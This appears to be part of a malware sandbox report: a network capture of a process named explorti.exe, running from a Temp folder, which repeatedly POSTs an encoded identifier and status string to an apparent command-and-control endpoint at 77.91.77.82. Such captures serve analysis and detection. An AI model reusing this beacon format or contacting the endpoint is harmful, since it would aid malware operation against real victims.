Jul 1, 2024 07:21:05.295376062 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:05.516774893 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49731	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:05.642874002 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:06.354954004 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:06.356488943 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:06.575630903 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49732	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:06.690553904 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:07.378638983 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:07.379386902 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:07.594846010 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49733	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:07.705594063 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:08.419699907 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:08.420555115 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:08.641016960 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49734	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:08.752201080 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:09.437381029 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:09.440092087 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:09.659480095 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49735	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:09.768667936 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:10.519560099 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:10.520471096 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:10.912910938 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49736	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:11.045825958 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:11.731226921 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:11.732011080 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:11.947590113 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49737	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:12.065716028 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:12.750904083 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:12.751775026 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:12.966866970 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49738	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:13.128859997 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:13.786231041 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:13.787364006 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:14.003333092 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49739	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:14.111985922 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:14.816750050 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:14.817512035 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:15.037565947 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49740	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:15.167414904 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:15.882221937 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:15.883419991 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:16.102793932 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49741	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:16.222383976 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:16.938378096 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:16.939225912 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:17.162379980 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49742	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:17.283890963 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:18.017376900 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:18.024512053 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:18.254620075 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
